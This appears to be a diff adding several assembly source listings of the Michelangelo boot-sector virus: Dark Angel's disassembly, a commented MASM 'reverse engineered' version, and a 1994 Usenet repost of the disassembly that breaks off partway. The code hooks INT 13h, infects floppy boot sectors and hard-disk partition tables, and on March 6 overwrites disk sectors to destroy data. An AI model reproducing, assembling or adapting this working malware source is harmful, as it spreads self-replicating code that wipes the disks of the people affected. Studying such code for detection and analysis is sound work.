||||||
|
MOV AX,0309H ;WRITE DISK 9 SECTORS
|
||||||
|
MOV SI,[LOC_ORG_BOOT - 7C00H]
|
||||||
|
CMP SI,+03
|
||||||
|
JE FLPPY_DISK
|
||||||
|
|
||||||
|
MOV AL,0EH
|
||||||
|
CMP SI,+0EH
|
||||||
|
JE FLPPY_DISK
|
||||||
|
|
||||||
|
MOV DL,80H
|
||||||
|
MOV BYTE PTR [DESTROY_CNT - 7C00H],04
|
||||||
|
MOV AL,11H
|
||||||
|
FLPPY_DISK:
|
||||||
|
MOV BX,5000H
|
||||||
|
MOV ES,BX
|
||||||
|
INT 13H
|
||||||
|
|
||||||
|
JNB NO_ERROR_DESTROY
|
||||||
|
|
||||||
|
;RESET_DISK
|
||||||
|
XOR AH,AH
|
||||||
|
INT 13H
|
||||||
|
|
||||||
|
NO_ERROR_DESTROY:
|
||||||
|
INC DH
|
||||||
|
CMP DH,[DESTROY_CNT - 7C00H]
|
||||||
|
JB D_LOOP
|
||||||
|
|
||||||
|
XOR DH,DH
|
||||||
|
INC CH
|
||||||
|
JMP SHORT D_LOOP
|
||||||
|
|
||||||
|
;*********************************************************************
|
||||||
|
|
||||||
|
NOT_INFECTED:
|
||||||
|
;HD ; INFECT HD
|
||||||
|
MOV CX,0007 ; BY WRITING
|
||||||
|
MOV [LOC_ORG_BOOT - 7C00H],CX ; ORGINAL BOOT
|
||||||
|
MOV AX,0301H ; TO HEAD 0 SECTOR 7
|
||||||
|
MOV DX,0080H ; TRACK 0
|
||||||
|
INT 13H ;
|
||||||
|
JB GET_DATE ;
|
||||||
|
|
||||||
|
;UPDATE_PARTION:
|
||||||
|
MOV SI,03BEH ;IMPORTANT TO UPDATE
|
||||||
|
MOV DI,01BEH ;PARTION TABLE
|
||||||
|
MOV CX,21H ;
|
||||||
|
REPZ MOVSW ;
|
||||||
|
|
||||||
|
MOV AX,0301H ;NOW WRITE VIRUS
|
||||||
|
XOR BX,BX ;TO HARD DRIVE
|
||||||
|
INC CL ;
|
||||||
|
INT 13H
|
||||||
|
JMP SHORT GET_DATE
|
||||||
|
;THE REST IS WHERE THE PARTION TABLE INFO GOES OR END OF FLOPPY DISK
|
||||||
|
;BOOT SECTOR GOES
|
||||||
|
|
||||||
|
ORG 7DBEH
|
||||||
|
END_VIR:
|
||||||
|
|
||||||
|
DB 00
|
||||||
|
ORG 7DFEH
|
||||||
|
BOOT_ID DB 55H,0AAH
|
||||||
|
|
||||||
|
micha ENDS
|
||||||
|
END START
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,234 @@
|
|||||||
|
|
||||||
|
; This is a disassembly of the much-hyped michelangelo virus.
|
||||||
|
; As you can see, it is a derivative of the Stoned virus. The
|
||||||
|
; junk bytes at the end of the file are probably throwbacks to
|
||||||
|
; the Stoned virus. In any case, it is yet another boot sector
|
||||||
|
; and partition table infector.
|
||||||
|
|
||||||
|
michelangelo segment byte public
|
||||||
|
assume cs:michelangelo, ds:michelangelo
|
||||||
|
; Disassembly by Dark Angel of PHALCON/SKISM
|
||||||
|
org 0
|
||||||
|
|
||||||
|
jmp entervirus
|
||||||
|
highmemjmp db 0F5h, 00h, 80h, 9Fh
|
||||||
|
maxhead db 2 ; used by damagestuff
|
||||||
|
firstsector dw 3
|
||||||
|
oldint13h dd 0C8000256h
|
||||||
|
|
||||||
|
int13h:
|
||||||
|
push ds
|
||||||
|
push ax
|
||||||
|
or dl, dl ; default drive?
|
||||||
|
jnz exitint13h ; exit if not
|
||||||
|
xor ax, ax
|
||||||
|
mov ds, ax
|
||||||
|
test byte ptr ds:[43fh], 1 ; disk 0 on?
|
||||||
|
jnz exitint13h ; if not spinning, exit
|
||||||
|
pop ax
|
||||||
|
pop ds
|
||||||
|
pushf
|
||||||
|
call dword ptr cs:[oldint13h]; first call old int 13h
|
||||||
|
pushf
|
||||||
|
call infectdisk ; then infect
|
||||||
|
popf
|
||||||
|
retf 2
|
||||||
|
exitint13h: pop ax
|
||||||
|
pop ds
|
||||||
|
jmp dword ptr cs:[oldint13h]
|
||||||
|
|
||||||
|
infectdisk:
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov si, 4
|
||||||
|
readbootblock:
|
||||||
|
mov ax,201h ; Read boot block to
|
||||||
|
mov bx,200h ; after virus
|
||||||
|
mov cx,1
|
||||||
|
xor dx,dx
|
||||||
|
pushf
|
||||||
|
call oldint13h
|
||||||
|
jnc checkinfect ; continue if no error
|
||||||
|
xor ax,ax
|
||||||
|
pushf
|
||||||
|
call oldint13h ; Reset disk
|
||||||
|
dec si ; loop back
|
||||||
|
jnz readbootblock
|
||||||
|
jmp short quitinfect ; exit if too many failures
|
||||||
|
checkinfect:
|
||||||
|
xor si,si
|
||||||
|
cld
|
||||||
|
lodsw
|
||||||
|
cmp ax,[bx] ; check if already infected
|
||||||
|
jne infectitnow
|
||||||
|
lodsw
|
||||||
|
cmp ax,[bx+2] ; check again
|
||||||
|
je quitinfect
|
||||||
|
infectitnow:
|
||||||
|
mov ax,301h ; Write old boot block
|
||||||
|
mov dh,1 ; to head 1
|
||||||
|
mov cl,3 ; sector 3
|
||||||
|
cmp byte ptr [bx+15h],0FDh ; 360k disk?
|
||||||
|
je is360Kdisk
|
||||||
|
mov cl,0Eh
|
||||||
|
is360Kdisk:
|
||||||
|
mov firstsector,cx
|
||||||
|
pushf
|
||||||
|
call oldint13h
|
||||||
|
jc quitinfect ; exit on error
|
||||||
|
mov si,200h+offset partitioninfo
|
||||||
|
mov di,offset partitioninfo
|
||||||
|
mov cx,21h ; Copy partition table
|
||||||
|
cld
|
||||||
|
rep movsw
|
||||||
|
mov ax,301h ; Write virus to sector 1
|
||||||
|
xor bx,bx
|
||||||
|
mov cx,1
|
||||||
|
xor dx,dx
|
||||||
|
pushf
|
||||||
|
call oldint13h
|
||||||
|
quitinfect:
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
entervirus:
|
||||||
|
xor ax,ax
|
||||||
|
mov ds,ax
|
||||||
|
cli
|
||||||
|
mov ss,ax
|
||||||
|
mov ax,7C00h ; Set stack to just below
|
||||||
|
mov sp,ax ; virus load point
|
||||||
|
sti
|
||||||
|
push ds ; save 0:7C00h on stack for
|
||||||
|
push ax ; later retf
|
||||||
|
mov ax,ds:[13h*4]
|
||||||
|
mov word ptr ds:[7C00h+offset oldint13h],ax
|
||||||
|
mov ax,ds:[13h*4+2]
|
||||||
|
mov word ptr ds:[7C00h+offset oldint13h+2],ax
|
||||||
|
mov ax,ds:[413h] ; memory size in K
|
||||||
|
dec ax ; 1024 K
|
||||||
|
dec ax
|
||||||
|
mov ds:[413h],ax ; move new value in
|
||||||
|
mov cl,6
|
||||||
|
shl ax,cl ; ax = paragraphs of memory
|
||||||
|
mov es,ax ; next line sets seg of jmp
|
||||||
|
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
|
||||||
|
mov ax,offset int13h
|
||||||
|
mov ds:[13h*4],ax
|
||||||
|
mov ds:[13h*4+2],es
|
||||||
|
mov cx,offset partitioninfo
|
||||||
|
mov si,7C00h
|
||||||
|
xor di,di
|
||||||
|
cld
|
||||||
|
rep movsb ; copy to high memory
|
||||||
|
; and transfer control there
|
||||||
|
jmp dword ptr cs:[7C00h+offset highmemjmp]
|
||||||
|
; destination of highmem jmp
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
int 13h ; reset disk
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ax,201h
|
||||||
|
mov bx,7C00h
|
||||||
|
mov cx,firstsector
|
||||||
|
cmp cx,7 ; hard disk infection?
|
||||||
|
jne floppyboot ; if not, do floppies
|
||||||
|
mov dx,80h ; Read old partition table of
|
||||||
|
int 13h ; first hard disk to 0:7C00h
|
||||||
|
jmp short exitvirus
|
||||||
|
floppyboot:
|
||||||
|
mov cx,firstsector ; read old boot block
|
||||||
|
mov dx,100h ; to 0:7C00h
|
||||||
|
int 13h
|
||||||
|
jc exitvirus
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov ax,201h ; read boot block
|
||||||
|
mov bx,200h ; of first hard disk
|
||||||
|
mov cx,1
|
||||||
|
mov dx,80h
|
||||||
|
int 13h
|
||||||
|
jc exitvirus
|
||||||
|
xor si,si
|
||||||
|
cld
|
||||||
|
lodsw
|
||||||
|
cmp ax,[bx] ; is it infected?
|
||||||
|
jne infectharddisk ; if not, infect HD
|
||||||
|
lodsw ; check infection
|
||||||
|
cmp ax,[bx+2]
|
||||||
|
jne infectharddisk
|
||||||
|
exitvirus:
|
||||||
|
xor cx,cx ; Real time clock get date
|
||||||
|
mov ah,4 ; dx = mon/day
|
||||||
|
int 1Ah
|
||||||
|
cmp dx,306h ; March 6th
|
||||||
|
je damagestuff
|
||||||
|
retf ; return control to original
|
||||||
|
; boot block @ 0:7C00h
|
||||||
|
damagestuff:
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,1
|
||||||
|
smashanothersector:
|
||||||
|
mov ax,309h
|
||||||
|
mov si,firstsector
|
||||||
|
cmp si,3
|
||||||
|
je smashit
|
||||||
|
mov al,0Eh
|
||||||
|
cmp si,0Eh
|
||||||
|
je smashit
|
||||||
|
mov dl,80h ; first hard disk
|
||||||
|
mov maxhead,4
|
||||||
|
mov al,11h
|
||||||
|
smashit:
|
||||||
|
mov bx,5000h ; random memory area
|
||||||
|
mov es,bx ; at 5000h:5000h
|
||||||
|
int 13h ; Write al sectors to drive dl
|
||||||
|
jnc skiponerror ; skip on error
|
||||||
|
xor ah,ah ; Reset disk drive dl
|
||||||
|
int 13h
|
||||||
|
skiponerror:
|
||||||
|
inc dh ; next head
|
||||||
|
cmp dh,maxhead ; 2 if floppy, 4 if HD
|
||||||
|
jb smashanothersector
|
||||||
|
xor dh,dh ; go to next head/cylinder
|
||||||
|
inc ch
|
||||||
|
jmp short smashanothersector
|
||||||
|
infectharddisk:
|
||||||
|
mov cx,7 ; Write partition table to
|
||||||
|
mov firstsector,cx ; sector 7
|
||||||
|
mov ax,301h
|
||||||
|
mov dx,80h
|
||||||
|
int 13h
|
||||||
|
jc exitvirus
|
||||||
|
mov si,200h+offset partitioninfo ; Copy partition
|
||||||
|
mov di,offset partitioninfo ; table information
|
||||||
|
mov cx,21h
|
||||||
|
rep movsw
|
||||||
|
mov ax,301h ; Write to sector 8
|
||||||
|
xor bx,bx ; Copy virus to sector 1
|
||||||
|
inc cl
|
||||||
|
int 13h
|
||||||
|
;* jmp short 01E0h
|
||||||
|
db 0EBh, 32h ; ?This should crash?
|
||||||
|
; The following bytes are meaningless.
|
||||||
|
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
|
||||||
|
partitioninfo: db 42h dup (0)
|
||||||
|
michelangelo ends
|
||||||
|
end
|
||||||
@@ -0,0 +1,322 @@
|
|||||||
|
TITLE MICHELANGELO, a STONED - derived Boot Virus
|
||||||
|
SUBTTL reverse engineered source code for MASM 5.1/6.0
|
||||||
|
|
||||||
|
PAGE 60,132
|
||||||
|
.RADIX 16
|
||||||
|
|
||||||
|
IF1
|
||||||
|
%Out ÉÍ VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION Í»
|
||||||
|
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
|
||||||
|
%Out º°°°°°°°°°°°°°°°ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿°°°°°°°°°°°°°°°°º
|
||||||
|
%Out º°°ÄÄÄÄÄÄÄÄÄÄÄÄÄ´ M I C H E L A N G E L O ÃÄÄÄÄÄÄÄÄÄÄÄÄÄݰº
|
||||||
|
%Out º°°°°°°°°°°°°°°°ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°°°°°°°°°°°°°°°º
|
||||||
|
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
|
||||||
|
%Out ÈÍÍ Layout (C) 1992 164A12565AA18213165556D3125C4B962712 Íͼ
|
||||||
|
ENDIF
|
||||||
|
|
||||||
|
comment #
|
||||||
|
|
||||||
|
! !
|
||||||
|
! MICHELANGELO di Ludovico Buonarroti Simoni, born March 6, 1475, !
|
||||||
|
! Caprese, Republic of Florence ... !
|
||||||
|
! This boot block / partition table virus will overwrite most of the !
|
||||||
|
! data on eiter floppy disks or winchester drives at HIS birthday. !
|
||||||
|
! !
|
||||||
|
! This source code may only be used for educational purposes! !
|
||||||
|
! !
|
||||||
|
! Do not offend the law by distributing viral or trojan horse soft- !
|
||||||
|
! ware to anybody who is not aware of the potential danger of the !
|
||||||
|
! software he receives. !
|
||||||
|
! !
|
||||||
|
|
||||||
|
#
|
||||||
|
|
||||||
|
B equ <BYTE>
|
||||||
|
D equ <DWORD>
|
||||||
|
O equ <OFFSET>
|
||||||
|
P equ <PTR>
|
||||||
|
S equ <SHORT>
|
||||||
|
T equ <THIS>
|
||||||
|
v equ <OR>
|
||||||
|
W equ <WORD>
|
||||||
|
|
||||||
|
|
||||||
|
SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
|
||||||
|
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
|
||||||
|
IFNB <_X>
|
||||||
|
IFIDN <_X>,<F>
|
||||||
|
PUSHF
|
||||||
|
ELSE
|
||||||
|
PUSH _X
|
||||||
|
ENDIF
|
||||||
|
ENDIF
|
||||||
|
ENDM
|
||||||
|
ENDM
|
||||||
|
|
||||||
|
REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
|
||||||
|
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
|
||||||
|
IFNB <_X>
|
||||||
|
IFIDN <_X>,<F>
|
||||||
|
POPF
|
||||||
|
ELSE
|
||||||
|
POP _X
|
||||||
|
ENDIF
|
||||||
|
ENDIF
|
||||||
|
ENDM
|
||||||
|
ENDM
|
||||||
|
|
||||||
|
MOV_S MACRO S1,S2
|
||||||
|
SAVE S2
|
||||||
|
REST S1
|
||||||
|
ENDM
|
||||||
|
|
||||||
|
TEXT SEGMENT PARA PUBLIC 'CODE'
|
||||||
|
|
||||||
|
ASSUME CS:TEXT,DS:TEXT,ES:TEXT
|
||||||
|
|
||||||
|
ORG 0
|
||||||
|
|
||||||
|
MICHELANGELO = 0306 ; ... his BCD birthday
|
||||||
|
;
|
||||||
|
SECSIZE = 0200 ;
|
||||||
|
WINCHESTER1 = 80 ;
|
||||||
|
bREAD = 2 ;
|
||||||
|
wREAD = bREAD SHL 8 ;
|
||||||
|
bWRITE = 3 ;
|
||||||
|
wWRITE = bWRITE SHL 8 ;
|
||||||
|
;
|
||||||
|
DTA = T B + SECSIZE ;
|
||||||
|
;
|
||||||
|
OR13OFF = T W + 04C ;
|
||||||
|
OR13SEG = T W + 04E ;
|
||||||
|
SYSRAM = T W + 413 ;
|
||||||
|
MOSTAT = T B + 43F ;
|
||||||
|
;
|
||||||
|
PARTTBL = T B + 1BE ;
|
||||||
|
;
|
||||||
|
OFSFRM0 EQU 7C00 ;
|
||||||
|
;
|
||||||
|
START: JMP INIT ;
|
||||||
|
;
|
||||||
|
; -----------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
SHDWRELOCOFS = T W + OFSFRM0 ;
|
||||||
|
RELOCOFS DW FRSTRLCTD ; Used by an indirect far jmp
|
||||||
|
SHDWRELOCSEG = T W + OFSFRM0 ; to the relocated code.
|
||||||
|
RELOCSEG DW ? ;
|
||||||
|
;
|
||||||
|
HEADS DB ? ;
|
||||||
|
;
|
||||||
|
CYLSEG DW ? ;
|
||||||
|
;
|
||||||
|
SHDW13OFS = T W + OFSFRM0 ;
|
||||||
|
BIOS13OFS DW ? ; Holds original (BIOS)
|
||||||
|
SHDW13SEG = T W + OFSFRM0 ; int 13 vector.
|
||||||
|
BIOS13SEG DW ? ;
|
||||||
|
;
|
||||||
|
; -----------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
I13_ISR: SAVE DS,AX ; INT 13 SR, save regs
|
||||||
|
OR DL,DL ; drive == A ?
|
||||||
|
JNZ I13_EX ; jmp if not
|
||||||
|
XOR AX,AX ; DS = 0
|
||||||
|
MOV DS,AX ;
|
||||||
|
TEST B P [MOSTAT],01 ; test diskette motor status:
|
||||||
|
JNZ I13_EX ; jmp if motor is already on
|
||||||
|
REST AX,DS ;
|
||||||
|
SAVE F ; call old interrupt 13
|
||||||
|
CALL D P CS:[BIOS13OFS] ; routine
|
||||||
|
SAVE F ; save FLAGS
|
||||||
|
CALL TstInfF ; test & infect if necessary
|
||||||
|
REST F ; restore FLAGS
|
||||||
|
RETF 2 ; return, preserve FLAGS
|
||||||
|
;
|
||||||
|
I13_EX: REST AX,DS ; restore regs, jmp to old int
|
||||||
|
JMP D P CS:[BIOS13OFS] ; 13h routine
|
||||||
|
;
|
||||||
|
TstInfF: SAVE AX,BX,CX,DX,DS,ES,SI,DI ;
|
||||||
|
MOV_S DS,CS ; ES = DS = CS;
|
||||||
|
MOV_S ES,CS ;
|
||||||
|
MOV SI,0004 ; SI = 4 (maxretry counter)
|
||||||
|
@@: MOV AX,wREAD v 1 ; AX : read one sector
|
||||||
|
MOV BX,O DTA ; BX : ... to buffer at CS:200
|
||||||
|
MOV CX,0001 ; CX : ... cylinder 0, sector 1
|
||||||
|
XOR DX,DX ; DX : ... drive 0, head 0
|
||||||
|
SAVE F ; call old int13 routine by
|
||||||
|
CALL D P [BIOS13OFS] ; simulating an interrupt
|
||||||
|
JNB @F ; jmp if there isn't an error,
|
||||||
|
XOR AX,AX ; else reset disk system ...
|
||||||
|
SAVE F ;
|
||||||
|
CALL D P [BIOS13OFS] ;
|
||||||
|
DEC SI ; decrement maxretry counter
|
||||||
|
JNZ @B ; try it again if not zero,
|
||||||
|
JMP S TstInfF_EX ; else jmp to exit in haste.
|
||||||
|
;
|
||||||
|
@@: XOR SI,SI ; boot sector has been read,
|
||||||
|
CLD ; now test if disk already has
|
||||||
|
LODSW ; been infected. Assume infect-
|
||||||
|
CMP AX,[BX] ; ion if the first 4 bytes of
|
||||||
|
JNZ @F ; MICHI and the boot sector are
|
||||||
|
LODSW ; identical ...
|
||||||
|
CMP AX,[BX+02] ;
|
||||||
|
JZ TstInfF_EX ; exit, disk already infected
|
||||||
|
@@: MOV AX,wWRITE v 1 ; AX : Write one sector
|
||||||
|
MOV DH,01 ; DH : Head 1
|
||||||
|
MOV CL,03 ; CL : Sector 3
|
||||||
|
CMP B P [BX+15],0FDH ; adjust CL to E if the MEDIA ID
|
||||||
|
JZ @F ; field of the original boot
|
||||||
|
MOV CL,0E ; sector is not FD (5.25",360K)
|
||||||
|
@@: MOV [CYLSEG],CX ; store CX
|
||||||
|
SAVE F ; and write the original boot
|
||||||
|
CALL D P [BIOS13OFS] ; sector to the floppy disk
|
||||||
|
JB TstInfF_EX ; if an error occured,
|
||||||
|
MOV SI,O PARTTBL + SECSIZE ; exit in haste.
|
||||||
|
MOV DI,O PARTTBL ; Copy the last bytes of
|
||||||
|
MOV CX,0021 ; the original boot sector to
|
||||||
|
CLD ; the end of MICHI
|
||||||
|
REP MOVSW ;
|
||||||
|
MOV AX,wWRITE v 1 ; ... and write it to the boot
|
||||||
|
XOR BX,BX ; sector of the disk.
|
||||||
|
MOV CX,0001 ;
|
||||||
|
XOR DX,DX ;
|
||||||
|
SAVE F ;
|
||||||
|
CALL D P [BIOS13OFS] ;
|
||||||
|
TstInfF_EX: REST DI,SI,ES,DS,DX,CX,BX,AX ; restore regs
|
||||||
|
RET ; ... return
|
||||||
|
;
|
||||||
|
; -----------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
INIT: XOR AX,AX ; Set DS and SS to 0000,
|
||||||
|
MOV DS,AX ; initialize SP to 7C00.
|
||||||
|
CLI ; That's because the boot
|
||||||
|
MOV SS,AX ; sector will loaded into
|
||||||
|
MOV AX,OFSFRM0 ; memory at 0:7C00 on every
|
||||||
|
MOV SP,AX ; IBM clone ...
|
||||||
|
STI ;
|
||||||
|
;
|
||||||
|
SAVE DS,AX ; save (0000:7C00) on stack
|
||||||
|
;
|
||||||
|
MOV AX,[OR13OFF] ; Read old interrupt 13h vector
|
||||||
|
MOV [SHDW13OFS],AX ; and save it
|
||||||
|
MOV AX,[OR13SEG] ;
|
||||||
|
MOV [SHDW13SEG],AX ;
|
||||||
|
;
|
||||||
|
MOV AX,[SYSRAM] ; Substract 2 from base memory
|
||||||
|
DEC AX ; size variable in BIOS data
|
||||||
|
DEC AX ; area
|
||||||
|
MOV [SYSRAM],AX ;
|
||||||
|
;
|
||||||
|
MOV CL,06 ; ES = AX = segment part of huge
|
||||||
|
SHL AX,CL ; ptr to area 2KB below last
|
||||||
|
MOV ES,AX ; base memory location
|
||||||
|
;
|
||||||
|
MOV [SHDWRELOCSEG],AX ; Store seg for ind far jmp
|
||||||
|
; to relocated code
|
||||||
|
MOV AX,O I13_ISR ; Store ptr to new interrupt
|
||||||
|
MOV [OR13OFF],AX ; 13 service routine to
|
||||||
|
MOV [OR13SEG],ES ; interrupt table,
|
||||||
|
MOV CX,O PARTTBL ; Relocate code,
|
||||||
|
MOV SI,OFSFRM0 ;
|
||||||
|
XOR DI,DI ;
|
||||||
|
CLD ;
|
||||||
|
REP MOVSB ;
|
||||||
|
JMP D P CS:[SHDWRELOCOFS] ; Jmp to FRSTRLCTD (relo-
|
||||||
|
; cated code)(BUGGY)
|
||||||
|
;
|
||||||
|
FRSTRLCTD: XOR AX,AX ; Reset the disk system
|
||||||
|
MOV ES,AX ;
|
||||||
|
INT 13 ;
|
||||||
|
MOV_S DS,CS ; ES = 0; DS = CS;
|
||||||
|
MOV AX,wREAD v 1 ; AH = 'Read', AL = # to read
|
||||||
|
MOV BX,OFSFRM0 ; ES:BX = 0:7C00 = xfer address
|
||||||
|
MOV CX,[CYLSEG] ; CH = cylinder #, CL = sector #
|
||||||
|
;
|
||||||
|
CMP CX,+07 ; Booted from winchester drive?
|
||||||
|
JNZ @F ; jmp if not
|
||||||
|
MOV DX,0000 v WINCHESTER1 ; DH = head 0, DL = drive C
|
||||||
|
INT 13 ; read the original boot sector
|
||||||
|
JMP S BOOTNOW ; and jmp
|
||||||
|
;
|
||||||
|
@@: MOV CX,[CYLSEG] ; adjust cylinder/sector #s
|
||||||
|
MOV DX,0100 ; DH = head 1, DL = drive A
|
||||||
|
INT 13 ; and read the sector ...
|
||||||
|
JB BOOTNOW ; (jmp on error, else continue)
|
||||||
|
MOV_S ES,CS ; ES = CS;
|
||||||
|
MOV AX,wREAD v 1 ; read partition table of 1st
|
||||||
|
MOV BX,O DTA ; hard disk into buffer located
|
||||||
|
MOV CX,0001 ; just after the relocated code
|
||||||
|
MOV DX,0000 v WINCHESTER1 ;
|
||||||
|
INT 13 ;
|
||||||
|
JB BOOTNOW ; (jmp on error, else continue)
|
||||||
|
XOR SI,SI ;
|
||||||
|
CLD ; test if hard disk is already
|
||||||
|
LODSW ; infected by comparing the 1st
|
||||||
|
CMP AX,[BX] ; four bytes, if these are
|
||||||
|
JNZ INFECT_PARTTBL ; identical assume that the
|
||||||
|
LODSW ; hard disk already is infected
|
||||||
|
CMP AX,[BX+02] ; and continue, else jmp to
|
||||||
|
JNZ INFECT_PARTTBL ; infect procedure
|
||||||
|
;
|
||||||
|
BOOTNOW: XOR CX,CX ; read date from real time clock
|
||||||
|
MOV AH,04 ; (will _not_ work on old BIOSes
|
||||||
|
INT 1A ; that do not implement it)
|
||||||
|
CMP DX,MICHELANGELO ; jmp if today is the
|
||||||
|
JZ BIRTHDAY ; birthday of MICHELANGELO
|
||||||
|
RETF ; 'return' to original boot sec-
|
||||||
|
; tor code
|
||||||
|
;
|
||||||
|
; -----------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
BIRTHDAY: XOR DX,DX ; DH = head 0; DL = drive A
|
||||||
|
MOV CX,0001 ; CH = cylinder 0; CL = sector 1
|
||||||
|
BIRTHDAY_LOOP: MOV AX,wWRITE v 9 ; AH = 'Write'; AL = # of sectrs
|
||||||
|
MOV SI,[CYLSEG] ; adjust AL ( # of sectors) and
|
||||||
|
CMP SI,+03 ; DL (drive code) depending on
|
||||||
|
JZ @F ; the type of the current boot
|
||||||
|
MOV AL,0E ; disk
|
||||||
|
CMP SI,+0E ;
|
||||||
|
JZ @F ;
|
||||||
|
MOV DL,WINCHESTER1 ;
|
||||||
|
MOV B P [HEADS],04 ;
|
||||||
|
MOV AL,11 ;
|
||||||
|
@@: MOV BX,5000 ; ES:BX -> 'Buffer' = 5000:5000
|
||||||
|
MOV ES,BX ;
|
||||||
|
INT 13 ;
|
||||||
|
JNB @F ;
|
||||||
|
XOR AH,AH ; reset disk system if an error
|
||||||
|
INT 13 ; occured
|
||||||
|
@@: INC DH ; increment head (DH)
|
||||||
|
CMP DH,[HEADS] ; head < maxhead? continue if
|
||||||
|
JB BIRTHDAY_LOOP ; equal, else loop
|
||||||
|
XOR DH,DH ;
|
||||||
|
INC CH ; increment cylinder and loop
|
||||||
|
JMP BIRTHDAY_LOOP ; ( goodbye data - cu never )
|
||||||
|
;
|
||||||
|
; -----------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
INFECT_PARTTBL: MOV CX,0007 ; It's an HD, take sector 7 to
|
||||||
|
MOV [CYLSEG],CX ; save the original partition
|
||||||
|
MOV AX,wWRITE v 1 ; table and write it to disk
|
||||||
|
MOV DX,0000 v WINCHESTER1 ;
|
||||||
|
INT 13 ;
|
||||||
|
JB BOOTNOW ; jmp on error
|
||||||
|
MOV SI,O PARTTBL + SECSIZE ; copy partition informa-
|
||||||
|
MOV DI,O PARTTBL ; tion to the end of MICHI
|
||||||
|
MOV CX,0021 ;
|
||||||
|
REP MOVSW ;
|
||||||
|
MOV AX,wWRITE v 1 ; and write MICHI to the first
|
||||||
|
XOR BX,BX ; sector of the hard disk ...
|
||||||
|
INC CL ;
|
||||||
|
INT 13 ;
|
||||||
|
JMP BOOTNOW ;
|
||||||
|
;
|
||||||
|
; -----------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
ORG SECSIZE - 2 ; Bootblock / partition table /
|
||||||
|
DB 055,0AA ; ROM signature
|
||||||
|
;
|
||||||
|
; -----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
TEXT ENDS
|
||||||
|
|
||||||
|
END START
|
||||||
@@ -0,0 +1,263 @@
|
|||||||
|
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:45:29 1994
|
||||||
|
Xref: netcom.com alt.comp.virus:511
|
||||||
|
Path: netcom.com!ix.netcom.com!netnews
|
||||||
|
From: Zeppelin@ix.netcom.com (Mr. G)
|
||||||
|
Newsgroups: alt.comp.virus
|
||||||
|
Subject: Ye Ole MichelAngelo Virus
|
||||||
|
Date: 29 Nov 1994 13:19:53 GMT
|
||||||
|
Organization: Netcom
|
||||||
|
Lines: 248
|
||||||
|
Distribution: world
|
||||||
|
Message-ID: <3bf9pp$iil@ixnews1.ix.netcom.com>
|
||||||
|
References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
|
||||||
|
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
|
||||||
|
|
||||||
|
; This is a disassembly of the much-hyped michelangelo virus.
|
||||||
|
; As you can see, it is a derivative of the Stoned virus. The
|
||||||
|
; junk bytes at the end of the file are probably throwbacks to
|
||||||
|
; the Stoned virus. In any case, it is yet another boot sector
|
||||||
|
; and partition table infector.
|
||||||
|
|
||||||
|
michelangelo segment byte public
|
||||||
|
assume cs:michelangelo, ds:michelangelo
|
||||||
|
org 0
|
||||||
|
|
||||||
|
jmp entervirus
|
||||||
|
highmemjmp db 0F5h, 00h, 80h, 9Fh
|
||||||
|
maxhead db 2 ; used by damagestuff
|
||||||
|
firstsector dw 3
|
||||||
|
oldint13h dd 0C8000256h
|
||||||
|
|
||||||
|
int13h:
|
||||||
|
push ds
|
||||||
|
push ax
|
||||||
|
or dl, dl ; default drive?
|
||||||
|
jnz exitint13h ; exit if not
|
||||||
|
xor ax, ax
|
||||||
|
mov ds, ax
|
||||||
|
test byte ptr ds:[43fh], 1 ; disk 0 on?
|
||||||
|
jnz exitint13h ; if not spinning, exit
|
||||||
|
pop ax
|
||||||
|
pop ds
|
||||||
|
pushf
|
||||||
|
call dword ptr cs:[oldint13h]; first call old int 13h
|
||||||
|
pushf
|
||||||
|
call infectdisk ; then infect
|
||||||
|
popf
|
||||||
|
retf 2
|
||||||
|
exitint13h: pop ax
|
||||||
|
pop ds
|
||||||
|
jmp dword ptr cs:[oldint13h]
|
||||||
|
|
||||||
|
infectdisk:
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov si, 4
|
||||||
|
readbootblock:
|
||||||
|
mov ax,201h ; Read boot block to
|
||||||
|
mov bx,200h ; after virus
|
||||||
|
